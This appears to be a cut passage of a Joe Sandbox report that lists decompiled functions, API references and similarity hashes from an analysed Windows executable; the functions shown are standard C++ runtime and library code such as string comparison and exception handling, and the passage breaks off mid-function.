Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: fwrite
String ID:
API String ID: 3559309478-0
Opcode ID: de6b6b321847c5f9afd6bf9a642305e9826efbe5c2f931af717368d9e8df816f
Instruction ID: 83d68f44c7db475a178f3ca3664d526ae4a9ecf504f4c936d0b1efc9561bdbd0
Opcode Fuzzy Hash: de6b6b321847c5f9afd6bf9a642305e9826efbe5c2f931af717368d9e8df816f
Instruction Fuzzy Hash: 21D067B49083449FC340FF19C14161ABBE0BB98308F40896DE8C887301E275D5548F12

Uniqueness

Uniqueness Score: -1.00%

Function 004A99E0 Relevance: 1.3, APIs: 1, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 004A99F4

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: d762cb4d9c51806a970ddfe75390a7a7d808ad845e3faeb47b71cbf90e2c21b8
Instruction ID: 1a7464b9cf02c5580bffaa1a479cb7818fe4d79baf44d2101254fed4de44f32a
Opcode Fuzzy Hash: d762cb4d9c51806a970ddfe75390a7a7d808ad845e3faeb47b71cbf90e2c21b8
Instruction Fuzzy Hash: 70F0FEB1A192104BCA00BF2DA8C555ABBE4BF54618F56496EE4C587302D235D844CBD2

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00430590 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 54fileCOMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,474E5543,?,004A8890,?,?,?,?,?,?,004ABE2F,?,?,?,?), ref: 004ACBF8
abort.MSVCRT(?,?,474E5543,?,004A8890,?,?,?,?,?,?,004ABE2F,?,?,?,?), ref: 004ACC05
fwrite.MSVCRT ref: 004ACC63
fputs.MSVCRT ref: 004ACC78
fputc.MSVCRT ref: 004ACC91
abort.MSVCRT(?,?,474E5543,?,004A8890,?,?,?,?,?,?,004ABE2F,?,?,?,?), ref: 004ACC9B
free.MSVCRT(?,?,474E5543,?,004A8890,?,?,?,?,?,?,004ABE2F,?,?,?,?), ref: 004ACCA3

Strings

what(): , xrefs: 004ACC5C

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: abort$fputcfputsfreefwrite
String ID: what():
API String ID: 3364258748-593870882
Opcode ID: a6257ab2641433f348630026ced369d7b00dec1095760a353bb918f980b2231e
Instruction ID: 571c531e121c988416e91842a85e606f15ecdf63f6679d32a8f97307160ff2fd
Opcode Fuzzy Hash: a6257ab2641433f348630026ced369d7b00dec1095760a353bb918f980b2231e
Instruction Fuzzy Hash: 5611EFB19047149EC7407FB5944622EBAF0AF66308F81992FE0C89B247DBBC54449BAB

Uniqueness

Uniqueness Score: -1.00%

Function 0041EE08 Relevance: 12.3, APIs: 3, Strings: 5, Instructions: 328
stringCOMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0041EE08(intOrPtr* __eax, void* __ebx, void* __edx, void* __edi) {
				void* _t150;
				void* _t207;
				void* _t233;
				intOrPtr _t294;

				_t233 = __edx;
				_t207 = __ebx;
				_t150 = __eax +  *__eax;
				_t1 = __edi + "_GLOBAL_";
				 *_t1 =  *((intOrPtr*)(__edi + "_GLOBAL_")) + __ebx;
				_t294 =  *_t1;
			}

0x0041ee08
0x0041ee08
0x0041ee08
0x0041ee0a
0x0041ee0a
0x0041ee0a

APIs

strlen.MSVCRT ref: 0041EE53
strlen.MSVCRT ref: 0041EF46
strlen.MSVCRT ref: 0041EFC5

Strings

_, xrefs: 0041F31B
_, xrefs: 0041F1D2
_, xrefs: 0041EF27
Z, xrefs: 0041F140
Z, xrefs: 0041F1A0

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: strlen
String ID: Z$Z$_$_$_
API String ID: 39653677-2669602318
Opcode ID: 7194d1a0ba6becb0ef5854a58c75b8829f4fdb383a31950085fa9e976433fc02
Instruction ID: ade68764c3f48cc1a8c1ddbbedb987c35b4a2fdb97439ee1a01de282c3142805
Opcode Fuzzy Hash: 7194d1a0ba6becb0ef5854a58c75b8829f4fdb383a31950085fa9e976433fc02
Instruction Fuzzy Hash: 53E1A3759042298FEB10CF65C8903DEFBF2BF85304F1481AAD8596B346D7799A8ACF44

Uniqueness

Uniqueness Score: -1.00%

Function 004014E0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 43libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 004014F0
LoadLibraryA.KERNEL32 ref: 00401506
GetProcAddress.KERNEL32 ref: 00401525
GetProcAddress.KERNEL32 ref: 00401537

Strings

__deregister_frame_info, xrefs: 0040152C
__register_frame_info, xrefs: 0040151A
libgcc_s_dw2-1.dll, xrefs: 004014E9, 004014FF

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: __deregister_frame_info$__register_frame_info$libgcc_s_dw2-1.dll
API String ID: 384173800-1835852900
Opcode ID: c8afcac5e5e41ccd7c8215e1a3bdcf838ffc4e5ac6b852ca441d04185334d23c
Instruction ID: 7709373ec6f49cd618ff8b602dabdfa7467acaf8e6b4c92dbcf8a079a3e909ba
Opcode Fuzzy Hash: c8afcac5e5e41ccd7c8215e1a3bdcf838ffc4e5ac6b852ca441d04185334d23c
Instruction Fuzzy Hash: 150140B19092189FC700BF79AD0816BBFE4FA80344F01453ED58957250E7B8A4488BAB

Uniqueness

Uniqueness Score: -1.00%

Function 00434C80 Relevance: 10.7, APIs: 5, Strings: 2, Instructions: 214
stringCOMMON

Download Yara Rule

C-Code - Quality: 18%

			E00434C80(void* __ebx, char __ecx, void* __edi, void* __esi) {
				char* _t49;
				void* _t51;
				void* _t53;
				char* _t55;
				void* _t59;
				char* _t61;
				char* _t64;
				char* _t66;
				char* _t70;
				char* _t72;
				char* _t74;
				char* _t75;
				char* _t76;
				char* _t77;
				void* _t78;
				void* _t79;
				void* _t81;
				void* _t82;
				void* _t84;
				void* _t85;
				void* _t88;
				char _t90;
				char* _t93;
				char* _t95;
				char* _t97;
				char* _t98;
				void* _t99;
				char* _t102;
				char* _t105;
				char* _t106;
				char* _t109;
				int _t112;
				char* _t115;
				char* _t116;
				char* _t117;
				char* _t118;
				intOrPtr _t120;
				void* _t126;
				char* _t127;
				void* _t128;
				void* _t131;
				char** _t132;
				char** _t133;
				char** _t134;
				char** _t135;

				_t90 = __ecx;
				_push(__edi);
				_t132 = _t131 - 0x1c;
				_t126 =  *__ecx;
				_t115 = _t132[0xc];
				_t49 = _t132[0xd];
				_t74 =  *(_t126 - 0xc);
				if(_t115 > _t74) {
					_t132[3] = _t74;
					_t132[2] = _t115;
					_t132[1] = "basic_string::compare";
					 *_t132 = "%s: __pos (which is %zu) > this->size() (which is %zu)";
					E004A77E0(__ecx, __edi, __eflags);
					_push(__edi);
					_push(_t115);
					_push(_t74);
					_t133 = _t132 - 0x10;
					_t51 =  *_t90;
					_t97 = _t133[8];
					_t105 = _t133[9];
					_t75 =  *(_t51 - 0xc);
					_t116 = _t133[0xb];
					__eflags = _t97 - _t75;
					if(__eflags > 0) {
						_t133[3] = _t75;
						_t133[2] = _t97;
						_t133[1] = "basic_string::compare";
						 *_t133 = "%s: __pos (which is %zu) > this->size() (which is %zu)";
						E004A77E0(_t90, _t105, __eflags);
						_push(_t105);
						_push(_t116);
						_push(_t75);
						_t134 = _t133 - 0x10;
						_t53 =  *_t90;
						_t98 = _t134[8];
						_t117 = _t134[9];
						_t76 =  *(_t53 - 0xc);
						__eflags = _t98 - _t76;
						if(__eflags > 0) {
							_t134[3] = _t76;
							_t134[2] = _t98;
							_t134[1] = "basic_string::compare";
							 *_t134 = "%s: __pos (which is %zu) > this->size() (which is %zu)";
							E004A77E0(_t90, _t105, __eflags);
							0;
							0;
							0;
							_push(_t126);
							_push(_t105);
							_push(_t117);
							_push(_t76);
							_t135 = _t134 - 0x1c;
							_t99 =  *_t90;
							_t118 = _t135[0xc];
							_t106 = _t135[0xf];
							_t77 =  *(_t99 - 0xc);
							_t127 = _t135[0x10];
							__eflags = _t118 - _t77;
							if(__eflags > 0) {
								_t135[3] = _t77;
								_t135[2] = _t118;
								_t135[1] = "basic_string::compare";
								 *_t135 = "%s: __pos (which is %zu) > this->size() (which is %zu)";
								_t55 = E004A77E0(_t90, _t106, __eflags);
								goto L22;
							} else {
								_t90 =  *(_t135[0xe]);
								_t55 =  *(_t90 - 0xc);
								__eflags = _t106 - _t55;
								if(__eflags > 0) {
									L22:
									_t135[3] = _t55;
									_t135[2] = _t106;
									_t135[1] = "basic_string::compare";
									 *_t135 = "%s: __pos (which is %zu) > this->size() (which is %zu)";
									E004A77E0(_t90, _t106, __eflags);
									0;
									0;
									_t102 =  *(_t135[1]) +  *((intOrPtr*)( *(_t135[1]) - 0xc));
									__eflags = _t102;
									 *_t90 = _t102;
									return _t90;
								} else {
									_t78 = _t77 - _t118;
									__eflags = _t78 - _t135[0xd];
									_t79 =  >  ? _t135[0xd] : _t78;
									_t59 = _t55 - _t106;
									__eflags = _t59 - _t127;
									_t128 =  <=  ? _t59 : _t127;
									__eflags = _t128 - _t79;
									_t61 =  <=  ? _t128 : _t79;
									__eflags = _t61;
									if(_t61 == 0) {
										L19:
										_t61 = _t79 - _t128;
										__eflags = _t61;
									} else {
										_t135[2] = _t61;
										_t135[1] =  &(_t106[_t90]);
										 *_t135 = _t99 + _t118;
										L0042F418();
										__eflags = _t61;
										if(_t61 == 0) {
											goto L19;
										}
									}
									return _t61;
								}
							}
						} else {
							_t81 = _t76 - _t98;
							__eflags = _t81 - _t117;
							_t93 =  *(_t134[0xa]);
							_t82 =  >  ? _t117 : _t81;
							_t120 =  *((intOrPtr*)(_t93 - 0xc));
							__eflags = _t120 - _t82;
							_t109 =  <=  ? _t120 : _t82;
							__eflags = _t109;
							if(_t109 == 0) {
								L13:
								_t64 = _t82 - _t120;
								__eflags = _t64;
							} else {
								_t64 = _t53 + _t98;
								_t134[2] = _t109;
								_t134[1] = _t93;
								 *_t134 = _t64;
								L0042F418();
								__eflags = _t64;
								if(_t64 == 0) {
									goto L13;
								}
							}
							return _t64;
						}
					} else {
						_t84 = _t75 - _t97;
						__eflags = _t84 - _t105;
						_t85 =  >  ? _t105 : _t84;
						__eflags = _t85 - _t116;
						_t95 =  <=  ? _t85 : _t116;
						__eflags = _t95;
						if(_t95 == 0) {
							L8:
							_t66 = _t85 - _t116;
							__eflags = _t66;
						} else {
							_t133[2] = _t95;
							_t66 = _t51 + _t97;
							 *_t133 = _t66;
							_t133[1] = _t133[0xa];
							L0042F418();
							__eflags = _t66;
							if(_t66 == 0) {
								goto L8;
							}
						}
						return _t66;
					}
				} else {
					_t88 =  >  ? _t49 : _t74 - _t115;
					 *_t132 = _t132[0xe];
					_t112 = strlen(??);
					_t70 =  <=  ? _t112 : _t88;
					if(_t70 == 0) {
						L3:
						_t72 = _t88 - _t112;
					} else {
						_t132[2] = _t70;
						_t72 = _t132[0xe];
						 *_t132 =  &(_t115[_t126]);
						_t132[1] = _t72;
						L0042F418();
						if(_t72 == 0) {
							goto L3;
						}
					}
					return _t72;
				}
			}

0x00434c80
0x00434c81
0x00434c84
0x00434c87
0x00434c89
0x00434c8d
0x00434c91
0x00434c96
0x00434ce0
0x00434ce4
0x00434ce8
0x00434cf0
0x00434cf7
0x00434d00
0x00434d01
0x00434d02
0x00434d03
0x00434d06
0x00434d08
0x00434d0c
0x00434d10
0x00434d13
0x00434d17
0x00434d19
0x00434d54
0x00434d58
0x00434d5c
0x00434d64
0x00434d6b
0x00434d70
0x00434d71
0x00434d72
0x00434d73
0x00434d76
0x00434d78
0x00434d7c
0x00434d80
0x00434d83
0x00434d85
0x00434dc5
0x00434dc9
0x00434dcd
0x00434dd5
0x00434ddc
0x00434de7
0x00434deb
0x00434def
0x00434df0
0x00434df1
0x00434df2
0x00434df3
0x00434df4
0x00434df7
0x00434df9
0x00434dfd
0x00434e01
0x00434e04
0x00434e08
0x00434e0a
0x00434e5c
0x00434e60
0x00434e64
0x00434e6c
0x00434e73
0x00000000
0x00434e0c
0x00434e10
0x00434e12
0x00434e15
0x00434e17
0x00434e78
0x00434e78
0x00434e7c
0x00434e80
0x00434e88
0x00434e8f
0x00434e9a
0x00434e9e
0x00434ea8
0x00434ea8
0x00434eab
0x00434ead
0x00434e19
0x00434e19
0x00434e1b
0x00434e1f
0x00434e24
0x00434e26
0x00434e28
0x00434e2d
0x00434e2f
0x00434e32
0x00434e34
0x00434e4e
0x00434e50
0x00434e50
0x00434e36
0x00434e3a
0x00434e3e
0x00434e42
0x00434e45
0x00434e4a
0x00434e4c
0x00000000
0x00000000
0x00434e4c
0x00434e59
0x00434e59
0x00434e17
0x00434d87
0x00434d8b
0x00434d8d
0x00434d8f
0x00434d91
0x00434d94
0x00434d99
0x00434d9b
0x00434d9e
0x00434da0
0x00434db8
0x00434dba
0x00434dba
0x00434da2
0x00434da2
0x00434da4
0x00434da8
0x00434dac
0x00434daf
0x00434db4
0x00434db6
0x00000000
0x00000000
0x00434db6
0x00434dc2
0x00434dc2
0x00434d1b
0x00434d1b
0x00434d1f
0x00434d21
0x00434d24
0x00434d26
0x00434d29
0x00434d2b
0x00434d47
0x00434d49
0x00434d49
0x00434d2d
0x00434d2d
0x00434d35
0x00434d37
0x00434d3a
0x00434d3e
0x00434d43
0x00434d45
0x00000000
0x00000000
0x00434d45
0x00434d51
0x00434d51
0x00434c98
0x00434c9c
0x00434ca3
0x00434cab
0x00434cb1
0x00434cb6
0x00434cd2
0x00434cd4
0x00434cb8
0x00434cb8
0x00434cbc
0x00434cc2
0x00434cc5
0x00434cc9
0x00434cd0
0x00000000
0x00000000
0x00434cd0
0x00434cdd
0x00434cdd

APIs

strlen.MSVCRT ref: 00434CA6
memcmp.MSVCRT ref: 00434CC9
memcmp.MSVCRT ref: 00434D3E
memcmp.MSVCRT ref: 00434DAF

Part of subcall function 004A77E0: strlen.MSVCRT ref: 004A77EE

memcmp.MSVCRT ref: 00434E45

Strings

basic_string::compare, xrefs: 00434CE8, 00434D5C, 00434DCD, 00434E64, 00434E80
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00434CF0, 00434D64, 00434DD5, 00434E6C, 00434E88

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: memcmp$strlen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::compare
API String ID: 3738950036-1697194757
Opcode ID: 2f86957b9a44ea3d4bb4e7479d986f8497b739be8b813b65b6cf72e3f33e147d
Instruction ID: b8d01e4294ac7f5e3509a5c3fe9212d65073c381b272227643381dc075e06e59
Opcode Fuzzy Hash: 2f86957b9a44ea3d4bb4e7479d986f8497b739be8b813b65b6cf72e3f33e147d
Instruction Fuzzy Hash: 086147B5A093109FC304AF69D98481FFBE1FFD8794F54992EE88887310D275E844CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0041F67C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 0041F6CF
UnhandledExceptionFilter.KERNEL32 ref: 0041F6DF
GetCurrentProcess.KERNEL32 ref: 0041F6E8
TerminateProcess.KERNEL32 ref: 0041F6F9
abort.MSVCRT ref: 0041F702

Strings

@s`, xrefs: 0041F6D8

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminateabort
String ID: @s`
API String ID: 520269711-3329957823
Opcode ID: dc953306282ff6ee048c9cbefee2fee0a93270a7a5c0fef37ddc880ae374e65d
Instruction ID: cb32c8bda9614d17ec5a6c443599303cbe53b7aa92908e4adb471433178d2384
Opcode Fuzzy Hash: dc953306282ff6ee048c9cbefee2fee0a93270a7a5c0fef37ddc880ae374e65d
Instruction Fuzzy Hash: 1E115BB4905700CFD700EF69E94860ABBF1BB48304F44992DE88887320E779A945DF92

Uniqueness

Uniqueness Score: -1.00%

Function 0041F5D0 Relevance: 7.6, APIs: 5, Instructions: 55timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 0041F609
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,004014B2), ref: 0041F61A
GetCurrentThreadId.KERNEL32 ref: 0041F622
GetTickCount.KERNEL32 ref: 0041F62A
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,004014B2), ref: 0041F639

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 92cf4d75c83e0cf86cde9de997c203f3ceeef30bfd39f1395238872c9e023eb3
Instruction ID: 59aefec240167e7d453cfada40111ddabddfe08b3eb20a38ff2a2253f272e814
Opcode Fuzzy Hash: 92cf4d75c83e0cf86cde9de997c203f3ceeef30bfd39f1395238872c9e023eb3
Instruction Fuzzy Hash: F6115EB55487008FC740DF79E88854BBBE5FB88254F451D3AE485C7220EA39E98E8B92

Uniqueness

Uniqueness Score: -1.00%

Function 00433E60 Relevance: 4.8, APIs: 1, Strings: 2, Instructions: 315
COMMON

Download Yara Rule

C-Code - Quality: 17%

			E00433E60(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi) {
				char* _t79;
				char* _t82;
				signed int _t84;
				char* _t86;
				intOrPtr* _t89;
				void* _t90;
				signed int _t91;
				signed int _t92;
				signed int _t93;
				signed int _t95;
				signed int _t97;
				signed int _t98;
				signed int _t99;
				void* _t100;
				signed int _t101;
				signed int _t102;
				signed int _t103;
				signed int _t105;
				int _t106;
				signed int _t108;
				signed int _t109;
				signed int _t110;
				signed int _t111;
				char* _t115;
				char* _t116;
				signed int _t117;
				signed int _t119;
				signed int _t126;
				signed int _t129;
				void* _t137;
				intOrPtr* _t142;
				intOrPtr* _t143;
				signed int _t146;
				signed short* _t148;
				signed int _t149;
				intOrPtr* _t151;
				char* _t153;
				void* _t158;
				void* _t159;
				void* _t160;
				void* _t161;
				signed int _t167;
				signed int _t168;
				signed short* _t172;
				char* _t173;
				char* _t174;
				signed int _t176;
				intOrPtr _t180;
				signed int _t184;
				signed int _t192;
				signed int _t193;
				intOrPtr _t194;
				signed int _t195;
				signed short* _t197;
				signed int _t201;
				char _t212;
				intOrPtr* _t221;
				void* _t226;
				char** _t227;
				char** _t228;
				char** _t229;
				char** _t230;

				_t141 = __ecx;
				_t227 = _t226 - 0x2c;
				_t192 = _t227[0x10];
				_t79 = _t227[0x11];
				_t115 =  *( *__ecx - 0xc);
				_t172 = _t227[0x12];
				if(_t192 > _t115) {
					_t227[3] = _t115;
					_t227[2] = _t192;
					_t227[1] = "basic_string::compare";
					 *_t227 = "%s: __pos (which is %zu) > this->size() (which is %zu)";
					E004A77E0(__ecx, _t172, __eflags);
					_push(_t211);
					_push(_t172);
					_push(_t192);
					_push(_t115);
					_t228 = _t227 - 0x2c;
					_t142 =  *_t141;
					_t193 = _t228[0x10];
					_t173 = _t228[0x11];
					_t228[7] = _t228[0x13];
					_t82 =  *(_t142 - 0xc);
					__eflags = _t193 - _t82;
					if(__eflags > 0) {
						_t228[3] = _t82;
						_t228[2] = _t193;
						_t228[1] = "basic_string::compare";
						 *_t228 = "%s: __pos (which is %zu) > this->size() (which is %zu)";
						E004A77E0(_t142, _t173, __eflags);
						_push(_t173);
						_push(_t193);
						_push(_t115);
						_t229 = _t228 - 0x10;
						_t194 =  *_t142;
						_t84 = _t229[8];
						_t116 = _t229[9];
						_t153 =  *(_t194 - 0xc);
						__eflags = _t84 - _t153;
						if(__eflags > 0) {
							_t229[3] = _t153;
							_t229[2] = _t84;
							_t229[1] = "basic_string::compare";
							 *_t229 = "%s: __pos (which is %zu) > this->size() (which is %zu)";
							E004A77E0(_t142, _t173, __eflags);
							_push(_t211);
							_push(_t173);
							_push(_t194);
							_push(_t116);
							_t230 = _t229 - 0x2c;
							_t143 =  *_t142;
							_t117 = _t230[0x10];
							_t174 = _t230[0x11];
							_t86 =  *(_t143 - 0xc);
							_t195 = _t230[0x13];
							__eflags = _t117 - _t86;
							if(__eflags > 0) {
								_t230[3] = _t86;
								_t230[2] = _t117;
								_t230[1] = "basic_string::compare";
								 *_t230 = "%s: __pos (which is %zu) > this->size() (which is %zu)";
								E004A77E0(_t143, _t174, __eflags);
								goto L39;
							} else {
								_t212 =  *(_t230[0x12]);
								_t153 =  *(_t212 - 0xc);
								__eflags = _t195 - _t153;
								if(__eflags > 0) {
									L39:
									_t230[3] = _t153;
									_t230[2] = _t195;
									_t230[1] = "basic_string::compare";
									 *_t230 = "%s: __pos (which is %zu) > this->size() (which is %zu)";
									E004A77E0(_t143, _t174, __eflags);
									0;
									_t89 = _t143;
									 *_t89 =  *(_t230[1]) +  *( *(_t230[1]) - 0xc) * 2;
									return _t89;
								} else {
									_t90 = _t86 - _t117;
									__eflags = _t90 - _t174;
									_t91 =  >  ? _t174 : _t90;
									_t158 = _t153 - _t195;
									__eflags = _t158 - _t230[0x14];
									_t159 =  >  ? _t230[0x14] : _t158;
									__eflags = _t159 - _t91;
									_t176 =  <=  ? _t159 : _t91;
									__eflags = _t176;
									if(_t176 == 0) {
										L36:
										_t92 = _t91 - _t159;
										__eflags = _t92;
										return _t92;
									} else {
										_t119 = _t143 + _t117 * 2;
										_t197 = _t212 + _t195 * 2;
										_t230[7] = _t119;
										__eflags = _t197 - _t119;
										if(_t197 == _t119) {
											goto L36;
										} else {
											__eflags = _t119;
											_t120 = _t119 & 0xffffff00 | _t119 != 0x00000000;
											_t197 = (_t119 & 0xffffff00 | _t119 != 0x00000000) - (_t120 & 0xffffff00 | _t197 != 0x00000000);
											if((_t119 & 0xffffff00 | _t119 != 0x00000000) == (_t120 & 0xffffff00 | _t197 != 0x00000000)) {
												_t146 = _t230[7];
												while(1) {
													__eflags =  *_t146 - ( *_t197 & 0x0000ffff);
													if( *_t146 != ( *_t197 & 0x0000ffff)) {
														break;
													}
													_t146 = _t146 + 2;
													_t197 =  &(_t197[1]);
													_t176 = _t176 - 1;
													__eflags = _t176;
													if(_t176 != 0) {
														continue;
													} else {
														goto L36;
													}
													goto L40;
												}
												asm("sbb eax, eax");
												_t93 = _t91 | 0x00000001;
												__eflags = _t93;
												return _t93;
											} else {
												__eflags = _t197 - 1;
												asm("sbb eax, eax");
												_t95 = (_t91 & 0x00000002) - 1;
												__eflags = _t95;
												return _t95;
											}
										}
									}
								}
							}
						} else {
